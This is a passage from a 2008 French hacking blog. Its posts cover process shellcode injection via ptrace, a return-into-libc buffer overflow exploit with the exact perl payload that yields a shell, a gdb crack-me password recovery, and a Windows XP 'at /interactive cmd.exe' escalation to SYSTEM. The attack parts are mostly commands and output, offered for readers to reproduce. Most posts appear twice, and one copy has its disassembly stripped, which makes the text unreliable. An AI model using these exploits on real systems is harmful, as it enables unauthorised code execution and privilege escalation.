Néanmoins,, il se peut que le processus ait été interrompu par le ptrace (PTRACE_ATTACH) alors qu’il exécuté un appel système.
Dans ce cas, le noyau décide de remettre l’ex écution a l’endroit ou elle a été interrompue, c’est-a-dire l’appel système. Sous Linux pour x86, un appel système est déclenché́ par l’instruction int 0x80, codée sur 2 octets.
Avant de rendre la main au processus, le noyau modifie donc le registre eip, en lui enlevant 2 octets. Or, nous ne souhaitons pas que l’exé́cution reprenne la ou ne se trouve pas notre shellcode!
Pour compenser cela, on ajoutera 2 Nops (\x90) au début du shellcode (et on oublira pas de modifier la valeur dans la boucle au passage sinon elle n'enverra pas tout le shellcode ).
Voila, on peu désormais passer a la pratique .Dans un premier temps je détaillerais donc les différentes étapes , puis je vous donnerais le code "Shell_inj" (Shellcode injector quoi -_- ) .
(Ce code est déja suffisemment commenté pour vous permettre de le comprendre facilement)
-- Nous allons , dans l'exemple suivant , injecter un dangereux shellcode (Hello , world! :-) ) dans un processus cible (ici bash sera la cible) -
On commence par récupérer son PID:
[kmkz@localhost Bureau]$ ps aux
Ce qui donnera un listing assez long (top pour etre mis ici en entier en tout cas ) .
Nous , on s'intéressera donc a ça :
kmkz 7178 0.3 0.1 4324 1920 pts/0 Ss+ 10:58 0:00 bash
Bon , on a le PID reste plus qu'a s'amuser now ! \o/
Je suppose que vous savez déja utiliser Gcc et donc ne reviendrais pas la dessus ..
Lançons le programme Shell_inj en lui passant en argument notre PID et voyons ce qui se passe :
[kmkz@localhost Bureau]$ ./inj 7178
[+] Attente d'attachement au processus 7178 ...
[+] Attachement au processus : réussi
[+] Lecture des registres:
-eip: 0xffffe410
-esp: 0xbfe478d8
[+] Shellcode copié en esp:0xbfe468d8
[+] Redirection d'eip vers le shellcode :0xbfe468da
[+] Détachement du processus 7178
[+] Injection Terminée !
Hello,World !
Bingo, notre "hello world" est bien la , en chair et en os (enfin si on veux quoi ^_^).
C'est a vous de jouer maintenant : vous savez détourner un processus en y injectant un shellcode pour en faire ce que vous voulez alors ....
___
*Here's the Shell_inj source code:
Shell_inj.c
Have Fun !
Remerciements a l'équipe de "blacks clowns" pour son article sans lequel j'aurai mis des mois avant de percuter comment m'y prendre ^^ ainsi qu'a l'équipe de dg-sc pour phrack et ses tutos de 1er choix !
2008/07/11
Return Into Libc
Salut a tous !
Bon , je sais j'ai un peu mis ce blog de coté ces derniers temps , mais c'est fini , rassurez-vous ;) .
Pour fêter ça , je vous propose un article traitant des fameux "Returns-into-libc ".
Bref , stoppons les baratins inutiles et place a l'article \o/.
-----Voici les codes dont nous auront besoins :
vuln.c
var-env.c
-----
Je précise toutefois que cet article s'adresse aux personnes sachant au minimum
exploiter un classique stack overflow (Voir article prévu a cet effet sur ce blog)
et ,donc, connaissant le fonctionnement de la pile.
La méthode du "return-into-libc" consiste, non pas à exécuter un
shellcode, mais à détourner le programme en lui faisant exécuter du code qui
est bien souvent dans une librairie telle que la libc.
Les librairies sont chargées à des adresses prédictibles sur
les noyaux standards, on les retrouve donc facilement .
Rappelons-nous que la libc, contient toutes les fonctions utiles à
l'exécution d'un shell.
Il faut impérativement bien visualiser le schéma suivant :
1) Vous venez d'écraser EIP avec l'adresse de la fonction system() située dans l'espace mémoire du
processus vulnérable.
2) Le programme saute sur system().
3) La fonction system() va faire son prologue, sans erreurs. Par contre system() va vouloir aller chercher
le paramètre que vous lui avez passé, et forcément , s'attend pour cela à ce qu'il y ait
un argument sur la pile.
4) Cet argument sur la pile, c'est l'adresse de votre chaîne de caractère "/bin/sh".
Mais pour cela vous devrez le "déposer" sur la pile pour que system() le récupère.
System() va donc récupérer cette chaine juste après EIP .
-----------------------------------------------------------------------------------------------------------------------------------------
Cet test a été réalisé sur une GNU/Linux Free 2008 (version 2.6.22.9 du noyau Linux) tournant sur une machine ayant pour Processeur un Intel Pentium IIII.
Aucunes fonctionalités n'a été modifiés au préalable , nous sommes ici en présence d'une config systeme par défaut ; cela dit , il faut bien avoir a l'esprit que les adresses et PID changeront , ceci est tout a fait normal d'une machine a l'autre (cet article n'est ici que dans le but de vous aidez a comprendre et , le cas échéant , a reproduire ces étapes chez vous en prenant notes des indications données dans ce paragraphe ( ThX Decerebrain ;-) ).
-----------------------------------------------------------------------------------------------------------------------------------------
-------Testons ça concrètement ------
En premier lieu , compilons notre programme vulnérable:
gcc -o vuln vuln.c // Rappel
Dans un premier shell , lançons ce programme:
[kmkz@localhost Bureau]$ ./vuln [Argument]
pid = 8219
-- Dans un autre shell ,nous allons exporter "/bin/sh" (pour le placer dans le meme environnement).
Ensuite , nous devons récupéré l'adresse en mémoire de la nouvelle variable d'environnement .
Noue le feront grace a notre petit programme écrit en C ( code "var-env.c") :
[root@localhost Bureau]# export kmkz=/bin/bash
[root@localhost Bureau]# ./var-env kmkz
**/bin/bash se situe a l'adresse b 0xbffec808 ** // et voila le travail ;-) .
Maintenant , il ne reste qu'a exploiter on lance gdb et notre "vuln.c" :
[kmkz@localhost Bureau]$ gdb ./vuln 8219 // 8219 étant le PID
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
Attaching to program: /home/kmkz/Bureau/vuln, process 8219 // Notre PID ici aussi \o/
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x080484c8 in main ()
--- Récupérons l'adresse de system() :
(gdb) x/x system
0x400608a0: 0x83e58955
Et celle de exit() qui servira a quitté le programme "proprement":
(gdb) x/x exit
0x4004d0a0: 0x57e58955
Waou ,c'est kewl ! :-)
Allez il ne nous reste plus qu'a convertir ça en Little Endian (voir selon les processeurs) et a construire notre Argument pour
l'obtention de notre Shell ce qui donne dans cet exemple :
"\xa0\x08\x06\x40" = system()
"\xa0\xd0\x04\x40" = exit()
"\x08\xc8\xfe\xbf" = notre shell
=> 1032 octets à écrire pour écraser entièrement EIP (1024 (buffer) + 4 + 4)
// Voir article sur les Stack Overflow
Nous devons donc passer l'argument de cette façon sur la ligne de commande :
[1028 octets] ["system()"] ["exit()] ["/bin/sh"]
Si tout se passe bien (et c'est le but ;) ), on doit obtenir ceci :
(gdb) r `perl -e 'print "x" x 1028 . "\xa0\x08\x06\x40"."\xa0\xd0\x04\x40"."\x08\xc8\xfe\xbf"'`
Starting program: /home/kmkz/Bureau/vuln `perl -e 'print "x" x 1028."\xa0\x08\x06\x40"."\xa0\xd0\x04\x40". "\x08\xc8\xfe\xbf"'`
sh-3.00$ <---- Notre Shell ^_^ -Remerciement a Marnage & 0vercl0k pour leur lumieres ;-) .
Bon , je sais j'ai un peu mis ce blog de coté ces derniers temps , mais c'est fini , rassurez-vous ;) .
Pour fêter ça , je vous propose un article traitant des fameux "Returns-into-libc ".
Bref , stoppons les baratins inutiles et place a l'article \o/.
-----Voici les codes dont nous auront besoins :
vuln.c
var-env.c
-----
Je précise toutefois que cet article s'adresse aux personnes sachant au minimum
exploiter un classique stack overflow (Voir article prévu a cet effet sur ce blog)
et ,donc, connaissant le fonctionnement de la pile.
La méthode du "return-into-libc" consiste, non pas à exécuter un
shellcode, mais à détourner le programme en lui faisant exécuter du code qui
est bien souvent dans une librairie telle que la libc.
Les librairies sont chargées à des adresses prédictibles sur
les noyaux standards, on les retrouve donc facilement .
Rappelons-nous que la libc, contient toutes les fonctions utiles à
l'exécution d'un shell.
Il faut impérativement bien visualiser le schéma suivant :
1) Vous venez d'écraser EIP avec l'adresse de la fonction system() située dans l'espace mémoire du
processus vulnérable.
2) Le programme saute sur system().
3) La fonction system() va faire son prologue, sans erreurs. Par contre system() va vouloir aller chercher
le paramètre que vous lui avez passé, et forcément , s'attend pour cela à ce qu'il y ait
un argument sur la pile.
4) Cet argument sur la pile, c'est l'adresse de votre chaîne de caractère "/bin/sh".
Mais pour cela vous devrez le "déposer" sur la pile pour que system() le récupère.
System() va donc récupérer cette chaine juste après EIP .
-----------------------------------------------------------------------------------------------------------------------------------------
Cet test a été réalisé sur une GNU/Linux Free 2008 (version 2.6.22.9 du noyau Linux) tournant sur une machine ayant pour Processeur un Intel Pentium IIII.
Aucunes fonctionalités n'a été modifiés au préalable , nous sommes ici en présence d'une config systeme par défaut ; cela dit , il faut bien avoir a l'esprit que les adresses et PID changeront , ceci est tout a fait normal d'une machine a l'autre (cet article n'est ici que dans le but de vous aidez a comprendre et , le cas échéant , a reproduire ces étapes chez vous en prenant notes des indications données dans ce paragraphe ( ThX Decerebrain ;-) ).
-----------------------------------------------------------------------------------------------------------------------------------------
-------Testons ça concrètement ------
En premier lieu , compilons notre programme vulnérable:
gcc -o vuln vuln.c // Rappel
Dans un premier shell , lançons ce programme:
[kmkz@localhost Bureau]$ ./vuln [Argument]
pid = 8219
-- Dans un autre shell ,nous allons exporter "/bin/sh" (pour le placer dans le meme environnement).
Ensuite , nous devons récupéré l'adresse en mémoire de la nouvelle variable d'environnement .
Noue le feront grace a notre petit programme écrit en C ( code "var-env.c") :
[root@localhost Bureau]# export kmkz=/bin/bash
[root@localhost Bureau]# ./var-env kmkz
**/bin/bash se situe a l'adresse b 0xbffec808 ** // et voila le travail ;-) .
Maintenant , il ne reste qu'a exploiter on lance gdb et notre "vuln.c" :
[kmkz@localhost Bureau]$ gdb ./vuln 8219 // 8219 étant le PID
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
Attaching to program: /home/kmkz/Bureau/vuln, process 8219 // Notre PID ici aussi \o/
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x080484c8 in main ()
--- Récupérons l'adresse de system() :
(gdb) x/x system
0x400608a0
Et celle de exit() qui servira a quitté le programme "proprement":
(gdb) x/x exit
0x4004d0a0
Waou ,c'est kewl ! :-)
Allez il ne nous reste plus qu'a convertir ça en Little Endian (voir selon les processeurs) et a construire notre Argument pour
l'obtention de notre Shell ce qui donne dans cet exemple :
"\xa0\x08\x06\x40" = system()
"\xa0\xd0\x04\x40" = exit()
"\x08\xc8\xfe\xbf" = notre shell
=> 1032 octets à écrire pour écraser entièrement EIP (1024 (buffer) + 4 + 4)
// Voir article sur les Stack Overflow
Nous devons donc passer l'argument de cette façon sur la ligne de commande :
[1028 octets] ["system()"] ["exit()] ["/bin/sh"]
Si tout se passe bien (et c'est le but ;) ), on doit obtenir ceci :
(gdb) r `perl -e 'print "x" x 1028 . "\xa0\x08\x06\x40"."\xa0\xd0\x04\x40"."\x08\xc8\xfe\xbf"'`
Starting program: /home/kmkz/Bureau/vuln `perl -e 'print "x" x 1028."\xa0\x08\x06\x40"."\xa0\xd0\x04\x40". "\x08\xc8\xfe\xbf"'`
sh-3.00$ <---- Notre Shell ^_^ -Remerciement a Marnage & 0vercl0k pour leur lumieres ;-) .
2008/04/26
Initiation aux bases du Reversing
Salut a tous !
Ce nouvel article traitera d'un sujet trés intéréssant : les bases en matiere de Reversing.
Nous verrons ici seulement le strict minimum , ce qui permettra tout de meme d'acquérir quelque notions en la matiere ,et qui pourrait ( on sais jamais ) susciter des vocations..?
Pour les besoins de cet article nous utiliseront un codes et un programmes de déboggage incontournable : GDB ( sous Linux) puis un crack-me appellé "cm"codé en C trouvé sur un célèbre site .
Le principe ne changeant pas , je n'ai pas trouvé d'intéret a en coder d'autre ( ba ouai quoi) .
Trève de bavardages place a l'article now :
Le Crack-me
1)Ici nous cherchons donc le password , bien , pour cela nous devons d'abord désassembler le "main" ( fonction pricipale du programme) afin d'y placer un "break point" ( point d'arret destiné a stopper le programme a l'endroit que l'on veut examiner , soit l'endroit ou le programme teste l'entrée utilisateur ou a la fin de celle ci selon la façon choisie) .
Commençons par lancer GDB avec "cm" puis désassemblons le "main" avec l'instruction " disas main" de Gdb.
Vous devriez avoir quelque chose comme ça :
[user@localhost asm]$ gdb cm
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandriva-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080483a4: lea 0x4(%esp),%ecx
0x080483a8: and $0xfffffff0,%esp
0x080483ab: pushl 0xfffffffc(%ecx)
0x080483ae: push %ebp
0x080483af: mov %esp,%ebp
0x080483b1: push %ecx
0x080483b2: sub $0x24,%esp
0x080483b5: mov %ecx,0xffffffe8(%ebp)
0x080483b8: mov 0xffffffe8(%ebp),%eax
0x080483bb: cmpl $0x2,(%eax)
0x080483be: jne 0x8048426
0x080483c0: mov 0xffffffe8(%ebp),%edx
0x080483c3: mov 0x4(%edx),%eax
0x080483c6: add $0x4,%eax
0x080483c9: mov (%eax),%eax
0x080483cb: mov %eax,0x4(%esp)
0x080483cf: movl $0x8048500,(%esp)
0x080483d6: call 0x80482f0
0x080483db: mov 0x8048552,%eax
0x080483e0: mov 0x8048556,%edx
0x080483e6: mov %eax,0xfffffff4(%ebp)
0x080483e9: mov %edx,0xfffffff8(%ebp)
0x080483ec: mov 0xffffffe8(%ebp),%edx
0x080483ef: mov 0x4(%edx),%eax
0x080483f2: add $0x4,%eax
0x080483f5: mov (%eax),%edx
0x080483f7: lea 0xfffffff4(%ebp),%eax
0x080483fa: mov %eax,0x4(%esp)
0x080483fe: mov %edx,(%esp)
0x08048401: call 0x8048310
0x08048406: test %eax,%eax
0x08048408: jne 0x8048418
0x0804840a: movl $0x8048514,(%esp)
0x08048411: call 0x8048300
0x08048416: jmp 0x8048432
0x08048418: movl $0x8048527,(%esp)
0x0804841f: call 0x8048300
0x08048424: jmp 0x8048432
0x08048426: movl $0x804853e,(%esp)
0x0804842d: call 0x8048300
0x08048432: mov $0x0,%eax
0x08048437: add $0x24,%esp
0x0804843a: pop %ecx
0x0804843b: pop %ebp
0x0804843c: lea 0xfffffffc(%ecx),%esp
0x0804843f: ret
End of assembler dump.
Ok , maintenant cherchons un peu ou se trouve l'endroit qui nous intéresse ....
Ici , j'ai personnellement choisi de placé mon Break Point a la fin de la condition c'est a dire juste avante le " Mauvais mot de passe " . ( façon certe inabituelle mais efficace tout de meme ,comme vous pourrez le constatez par la suite.
Pour le break point nous choisirons donc l'adresses 0x8048419 puisque :
0x08048408: jne 0x8048418 ; saute a l'adresse main+116 si non égalité
Nous en déduisons donc que Main+116 se trouve entre l'instruction "else" et "printf("Mauvais mot de passe !\n");" car on y est renvoyé si il y a une inégalité.
Choisissons donc la l'adresse 0x8048419 soit main+117 de cette maniere :
(gdb) b *main+117
Breakpoint 1 at 0x8048419: file ./cm.c, line 15 ; message indiquant la création du break point
Ok , lançons donc le crack-me ("cm") en passant 40*a en argument puis observons ce qui se passe :
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/kmkz/Bureau/asm/cm aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Vous avez ecrit aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGILL, Illegal instruction.
main (ac=2, av=0xbf90e174) at ./cm.c:15
15 printf("Mauvais mot de passe !\n");
Bon , nous avions vu juste , l'adresse pointait bel et bien sur la fin de la condition .Afin de le vérifié , utilisons la commande "list" de Gdb pour voir exatement ou le break point stoppe le programme :
(gdb) list
10 {
11 printf("Bon mot de passe !\n");
12 }
13 else
14 {
15 printf("Mauvais mot de passe !\n");
16 }
17 }
18 else
19 {
Tout va bien , on est sur la bonne voie \o/ .
C'est bien beau , mais le pass dans tout ça ? il est ou ?
Bah pour le trouver maintenant il nous faut l'adresse du pointeur ESP afin de voir ce qui s'y trouve , pour cela commençons par trouver l'adresse de nos 40*a passé en argument puis tentons de remonter a la pile :
(gdb) print av[1] ; nos "a" étant l'argument [1]
$1 = 0xbf910255 'a' repeats 40 times ; répétés 40 fois on est ok
Poursuivons par l'affichage de tout les argument passés au programme stockés dans "av" :
(gdb) print av
$2 = (char **) 0xbf90e174
Maintenant nous possédons l'adresse du tableau d'argument du programme "cm" , alons donc voir ce qu'il contient a partir de cette adresse mémoire....Bienvenu dans :"la Pile "!
Nous utilisons ici l'instruction x/16x afin d'afficher les 16*4 octets contenu dans la pile :
(gdb) x/16x 0xbf90e174
0xbf90e174: 0xbf91023c 0xbf910255 0x00000000 0xbf91027e
0xbf90e184: 0xbf910291 0xbf9102a6 0xbf9102b9 0xbf9102d0
0xbf90e194: 0xbf9102e3 0xbf9102fb 0xbf91030f 0xbf91031a
0xbf90e1a4: 0xbf91032a 0xbf910337 0xbf910388 0xbf910396
ceci dit de petites vérifications s'imposent :
(gdb) printf "%s", 0xbf91023c
/home/kmkz/Bureau/asm/cm(gdb) printf "%s", 0xbf910255 ; on obtient le chemin du programme cm
et :
(gdb) print "%s",0xbf910255
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$3 = 3213951573 ; ici c'est bien av[1] avec nos 40*a , no soucy
Il est temp pour nous de voir vers quelle adresse pointe ESP ( ESP pointe vers le sommet de la pile).
(gdb) print $esp
$4 = (void *) 0xbf90e0b0
Ici se trouve donc l'adresse du sommet de la pile allos dons y jeter un oeil ...
(gdb) x/16x $esp ; meme explications que tout a l'heure
0xbf90e0b0: 0xbf910255 0xbf90e0cc 0xbf90e0c8 0x080482bc
0xbf90e0c0: 0xbf90e0f0 0x08049640 0xbf90e0e8 0x666b646d
0xbf90e0d0: 0x0079766a 0xbf90e0f0 0xbf90e148 0xb7e93f90
0xbf90e0e0: 0xb7fe9cc0 0x08048450 0xbf90e148 0xb7e93f90
bon la on peu constater que l'on a :
l'adresse de la pile : 0xbf90e0c0
l'adresse de nos "a" (av[1]) :0xbf910255
Mais aussi une adresse que l'on avait pas encore vu jusqu'ici : 0xbf90e0cc
Testons donc 0xbf90e0cc afin de voir ce que cette adresse contient .
(gdb) printf "%s", 0xbf90e0cc
mdkfjvy(gdb)
Hey !! Mais qu'est-ce donc ..? Notre pass seait donc la ? ??
Et oui , en effet le pass est bel et bien mdkfjvy !
Voila , vous venez de voir les principes de base du Reversing , mais la route est encore longue alors courage et a bientot!
Ce nouvel article traitera d'un sujet trés intéréssant : les bases en matiere de Reversing.
Nous verrons ici seulement le strict minimum , ce qui permettra tout de meme d'acquérir quelque notions en la matiere ,et qui pourrait ( on sais jamais ) susciter des vocations..?
Pour les besoins de cet article nous utiliseront un codes et un programmes de déboggage incontournable : GDB ( sous Linux) puis un crack-me appellé "cm"codé en C trouvé sur un célèbre site .
Le principe ne changeant pas , je n'ai pas trouvé d'intéret a en coder d'autre ( ba ouai quoi) .
Trève de bavardages place a l'article now :
Le Crack-me
1)Ici nous cherchons donc le password , bien , pour cela nous devons d'abord désassembler le "main" ( fonction pricipale du programme) afin d'y placer un "break point" ( point d'arret destiné a stopper le programme a l'endroit que l'on veut examiner , soit l'endroit ou le programme teste l'entrée utilisateur ou a la fin de celle ci selon la façon choisie) .
Commençons par lancer GDB avec "cm" puis désassemblons le "main" avec l'instruction " disas main" de Gdb.
Vous devriez avoir quelque chose comme ça :
[user@localhost asm]$ gdb cm
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandriva-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080483a4
0x080483a8
0x080483ab
0x080483ae
0x080483af
0x080483b1
0x080483b2
0x080483b5
0x080483b8
0x080483bb
0x080483be
0x080483c0
0x080483c3
0x080483c6
0x080483c9
0x080483cb
0x080483cf
0x080483d6
0x080483db
0x080483e0
0x080483e6
0x080483e9
0x080483ec
0x080483ef
0x080483f2
0x080483f5
0x080483f7
0x080483fa
0x080483fe
0x08048401
0x08048406
0x08048408
0x0804840a
0x08048411
0x08048416
0x08048418
0x0804841f
0x08048424
0x08048426
0x0804842d
0x08048432
0x08048437
0x0804843a
0x0804843b
0x0804843c
0x0804843f
End of assembler dump.
Ok , maintenant cherchons un peu ou se trouve l'endroit qui nous intéresse ....
Ici , j'ai personnellement choisi de placé mon Break Point a la fin de la condition c'est a dire juste avante le " Mauvais mot de passe " . ( façon certe inabituelle mais efficace tout de meme ,comme vous pourrez le constatez par la suite.
Pour le break point nous choisirons donc l'adresses 0x8048419 puisque :
0x08048408
Nous en déduisons donc que Main+116 se trouve entre l'instruction "else" et "printf("Mauvais mot de passe !\n");" car on y est renvoyé si il y a une inégalité.
Choisissons donc la l'adresse 0x8048419 soit main+117 de cette maniere :
(gdb) b *main+117
Breakpoint 1 at 0x8048419: file ./cm.c, line 15 ; message indiquant la création du break point
Ok , lançons donc le crack-me ("cm") en passant 40*a en argument puis observons ce qui se passe :
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/kmkz/Bureau/asm/cm aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Vous avez ecrit aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGILL, Illegal instruction.
main (ac=2, av=0xbf90e174) at ./cm.c:15
15 printf("Mauvais mot de passe !\n");
Bon , nous avions vu juste , l'adresse pointait bel et bien sur la fin de la condition .Afin de le vérifié , utilisons la commande "list" de Gdb pour voir exatement ou le break point stoppe le programme :
(gdb) list
10 {
11 printf("Bon mot de passe !\n");
12 }
13 else
14 {
15 printf("Mauvais mot de passe !\n");
16 }
17 }
18 else
19 {
Tout va bien , on est sur la bonne voie \o/ .
C'est bien beau , mais le pass dans tout ça ? il est ou ?
Bah pour le trouver maintenant il nous faut l'adresse du pointeur ESP afin de voir ce qui s'y trouve , pour cela commençons par trouver l'adresse de nos 40*a passé en argument puis tentons de remonter a la pile :
(gdb) print av[1] ; nos "a" étant l'argument [1]
$1 = 0xbf910255 'a'
Poursuivons par l'affichage de tout les argument passés au programme stockés dans "av" :
(gdb) print av
$2 = (char **) 0xbf90e174
Maintenant nous possédons l'adresse du tableau d'argument du programme "cm" , alons donc voir ce qu'il contient a partir de cette adresse mémoire....Bienvenu dans :"la Pile "!
Nous utilisons ici l'instruction x/16x afin d'afficher les 16*4 octets contenu dans la pile :
(gdb) x/16x 0xbf90e174
0xbf90e174: 0xbf91023c 0xbf910255 0x00000000 0xbf91027e
0xbf90e184: 0xbf910291 0xbf9102a6 0xbf9102b9 0xbf9102d0
0xbf90e194: 0xbf9102e3 0xbf9102fb 0xbf91030f 0xbf91031a
0xbf90e1a4: 0xbf91032a 0xbf910337 0xbf910388 0xbf910396
ceci dit de petites vérifications s'imposent :
(gdb) printf "%s", 0xbf91023c
/home/kmkz/Bureau/asm/cm(gdb) printf "%s", 0xbf910255 ; on obtient le chemin du programme cm
et :
(gdb) print "%s",0xbf910255
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$3 = 3213951573 ; ici c'est bien av[1] avec nos 40*a , no soucy
Il est temp pour nous de voir vers quelle adresse pointe ESP ( ESP pointe vers le sommet de la pile).
(gdb) print $esp
$4 = (void *) 0xbf90e0b0
Ici se trouve donc l'adresse du sommet de la pile allos dons y jeter un oeil ...
(gdb) x/16x $esp ; meme explications que tout a l'heure
0xbf90e0b0: 0xbf910255 0xbf90e0cc 0xbf90e0c8 0x080482bc
0xbf90e0c0: 0xbf90e0f0 0x08049640 0xbf90e0e8 0x666b646d
0xbf90e0d0: 0x0079766a 0xbf90e0f0 0xbf90e148 0xb7e93f90
0xbf90e0e0: 0xb7fe9cc0 0x08048450 0xbf90e148 0xb7e93f90
bon la on peu constater que l'on a :
l'adresse de la pile : 0xbf90e0c0
l'adresse de nos "a" (av[1]) :0xbf910255
Mais aussi une adresse que l'on avait pas encore vu jusqu'ici : 0xbf90e0cc
Testons donc 0xbf90e0cc afin de voir ce que cette adresse contient .
(gdb) printf "%s", 0xbf90e0cc
mdkfjvy(gdb)
Hey !! Mais qu'est-ce donc ..? Notre pass seait donc la ? ??
Et oui , en effet le pass est bel et bien mdkfjvy !
Voila , vous venez de voir les principes de base du Reversing , mais la route est encore longue alors courage et a bientot!
2008/04/19
Win. XP (patched) Local Privilèges Escalation
Salut a tous !
J'ai pas mal hésité , mais finalement je vais poster ce petit tuto trés basique portant sur une possibilité
d'élévation de privileges sous Windows.
(Ce tuto a été inspiré de plusieurs autres trouvé sur le net ).
Je précise aussi qu'il existe beaucoup d'autre façons de procéder afin d'élever ses privilèges ( boot sur live CD Linux pour récupérer le SAM ,injection de DLL et j'en passe ...) ; ceci dit , ce que je vais présenté ici ne requiert aucune connaissances spécifique et ne demande que trés peu de temp .
Pour ce faire nous devons :
-posséder un compte utilisateur avec un minimum de droit , si ce n'est pas le cas , rebootez donc en mode sans échec puis passé en mode Administrateur et enfin modifié vos droits d'utilisateur.
-vérifié que le service Planificateur des taches soit activé ( comande "at" ) nous allons y revenir dans la suite.
L'élévation de privileges :
Bon , tout est ok ? Alors let's go !
Ouvrez votre invite de commandes MS-DOS ( executer => cmd) .
Regarder l'heure affiché sur votre bureau ( exemple 10:00) et rentrez maintenant la commande :
at 10:02 /interactive "cmd.exe"
Une fois cette commande rentrée , vous devez obtenir quelque chose comme :
Tache ajoutée avec l'ID=1
Vous pouvez alors vérifier les infos en tapant "at" dans le shell .
Maintenant attendon qu'il soit 10:02 a votre bureau... A 10:02 le shell passera alors sur le compte System32 , gardez le shell ouvert puis réduisez la fenetre.
Bon , maintenant il suffi d'ouvrir le gestionnaire des tache et de fermé le processus "explorer.exe" ; une fois fait , retour sur notre invite de commande MS-DOS :
On rentre alors ( en tant que System32 ,bien entendu ) explorer.exe pour relancer le processus et réaffiché la barre des taches.
Voila , vous etes désormais sur le compte le plus élevé du systeme celui de System , qui se trouve au-dessus de celui d'admin car l'admin a certaines restrictions que System n'aura pas !
(ouvrez le menu Démarrer et regarder la session ,le nom System y aparaitra alors )
J'ai pas mal hésité , mais finalement je vais poster ce petit tuto trés basique portant sur une possibilité
d'élévation de privileges sous Windows.
(Ce tuto a été inspiré de plusieurs autres trouvé sur le net ).
Je précise aussi qu'il existe beaucoup d'autre façons de procéder afin d'élever ses privilèges ( boot sur live CD Linux pour récupérer le SAM ,injection de DLL et j'en passe ...) ; ceci dit , ce que je vais présenté ici ne requiert aucune connaissances spécifique et ne demande que trés peu de temp .
Pour ce faire nous devons :
-posséder un compte utilisateur avec un minimum de droit , si ce n'est pas le cas , rebootez donc en mode sans échec puis passé en mode Administrateur et enfin modifié vos droits d'utilisateur.
-vérifié que le service Planificateur des taches soit activé ( comande "at" ) nous allons y revenir dans la suite.
L'élévation de privileges :
Bon , tout est ok ? Alors let's go !
Ouvrez votre invite de commandes MS-DOS ( executer => cmd) .
Regarder l'heure affiché sur votre bureau ( exemple 10:00) et rentrez maintenant la commande :
at 10:02 /interactive "cmd.exe"
Une fois cette commande rentrée , vous devez obtenir quelque chose comme :
Tache ajoutée avec l'ID=1
Vous pouvez alors vérifier les infos en tapant "at" dans le shell .
Maintenant attendon qu'il soit 10:02 a votre bureau... A 10:02 le shell passera alors sur le compte System32 , gardez le shell ouvert puis réduisez la fenetre.
Bon , maintenant il suffi d'ouvrir le gestionnaire des tache et de fermé le processus "explorer.exe" ; une fois fait , retour sur notre invite de commande MS-DOS :
On rentre alors ( en tant que System32 ,bien entendu ) explorer.exe pour relancer le processus et réaffiché la barre des taches.
Voila , vous etes désormais sur le compte le plus élevé du systeme celui de System , qui se trouve au-dessus de celui d'admin car l'admin a certaines restrictions que System n'aura pas !
(ouvrez le menu Démarrer et regarder la session ,le nom System y aparaitra alors )
2008/04/16
Création d'un meeting 2600 a Nimes (30)
Salut a tous et a toutes !
Voila , suite a une discussion avec Decerebrain sur Irc , et étant donné que rien ne se fait vers chez moi , j'aimerai essayer de lancer un meeting sur la région de Nimes .
Je rappelle que les meeting du 2600 sont ouvert a TOUS et qu'aucun niveau de connaissances n'est requis .
L'objectif unique de ces rencontres étant le partage d'infos entre passionés d'informatique , de l'univers "underground " , la sécurité et les nouvelles technologies en général.
-Si certains d'entre vous sont intéréssés , conatctez-moi par mail ou laissez moi un commentaire afin de savoir qui serait éventuellement intéréssé , posez vos questions et fixer ce qui deviendrai le point de rendez-vous .
* Le jour de rendez-vous sera traditionnellement le 1er Vendredi de chaque mois , a partir de 17h .
Merci a tous .
site du 2600 Fr.
Voila , suite a une discussion avec Decerebrain sur Irc , et étant donné que rien ne se fait vers chez moi , j'aimerai essayer de lancer un meeting sur la région de Nimes .
Je rappelle que les meeting du 2600 sont ouvert a TOUS et qu'aucun niveau de connaissances n'est requis .
L'objectif unique de ces rencontres étant le partage d'infos entre passionés d'informatique , de l'univers "underground " , la sécurité et les nouvelles technologies en général.
